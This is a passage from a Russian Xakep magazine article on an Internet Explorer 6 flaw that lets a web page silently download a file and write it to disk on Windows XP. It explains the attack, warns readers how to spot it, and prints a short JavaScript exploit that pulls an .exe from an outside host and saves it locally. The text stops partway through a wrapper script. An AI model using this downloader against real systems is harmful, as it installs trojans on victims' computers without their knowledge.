Ослик IE: залей через меня троян CuTTer (cutter@real.xakep.ru) Xakep, номер #058, стр. 058-056-1 Веселая уязвимость в Internet Explorer Представь себе такую ситуацию. Ты являешься пользователем операционной системы Windows XP, заботишься о своей безопасности, постоянно ставишь патчи, проверяешь весь софт на наличие троянов/вирусов. В общем, всячески ограждаешь себя от сетевых подонков, желающих поломать в интернете все и вся. Но вдруг, посетив на днях один сайт, обнаруживаешь, что компьютер начинает слать левые пакеты с твоими паролями, хотя ты и не скачивал ничего нового. Очень занимательная ситуация :). И это не шутка, с любовью и лаской от мелкомягких ты действительно можешь оказаться в таком положении. Microsoft с подарочком за пазухой Microsoft все никак не перестанет радовать своих пользователей обилием ошибок в выпускаемом софте. На этот раз приятный сюрприз скрывается в Internet Explorer 6 (www.securitylab.ru/?ID=40246). Взломщик может создать подставной сервер, залить туда html-страничку со встроенным в нее эксплоитом и подозвать пользователей с ослом шестой версии. И если это окажется юзер Windows XP с разрешенным использованием ActiveX элементов, то он будет взломан. Как это происходит? Все очень просто. Задействованы два компонента. Когда пользователь заходит на подобный сайт-ловушку, у него вызывается сценарий на javascript. Вначале при помощи компонента Microsoft.XMLHTTP происходит скачивание произвольного файла из Сети. Далее создается поток, который будет направлен в локальный файл жертвы. Для этого используется компонент ADODB.Stream. Файл сохраняется. Теперь взломанный пользователь держит на своем харде новый файл. Сам понимаешь, что так можно перезаписать любой файл и запихнуть в него троян. Подобный взлом можно просечь - во время загрузки файла в IE появляется панель с медиаплеером. Правда, никаких других программ дополнительно не вызывается. Поэтому жертва может просто не заметить подобного поведения осла и проигнорировать происшедшее. Так что будь бдительным. Если увидишь с бухты-барахты появившуюся панель медиаплеера - знай, тебя уже, скорее всего, поломали. Что же это за сплоит? Эксплоит совсем небольшой и довольно примитивный. НО КАКОВ РЕЗУЛЬТАТ! Видимо, хакер, нашедший ошибку, не поленился, покопался в функциях ActiveX элементов, которые идут в стандартном наборе с Windows XP, нашел в них процедуры по скачке и записи файлов и в итоге написал эксплоит. И вот что получилось: <textarea id="code" style="display:none;"> var x = new ActiveXObject("Microsoft.XMLHTTP"); // Создаем объект на основе Microsoft.XMLHTTP x.Open("GET", "http://www.example.com/1.exe", 0); x.Send(); // Генерим и отправляем GET-запрос var s = new ActiveXObject("ADODB.Stream"); // Создаем второй объект - ADODB.Stream s.Mode = 3; s.Type = 1; s.Open(); // Выставляем моды s.Write(x.responseBody); // Записываем в поток ответ на GET-запрос s.SaveToFile("C:\\example.exe", 2); // Сохраняем это в файл </textarea> <script language="javascript"> function preparecode(code) { result = ''; lines = code.split(/\r\n/); for (i=0; i<lines.length; i++) { line = lines[i]; line = line.replace(/^\s+/,""); |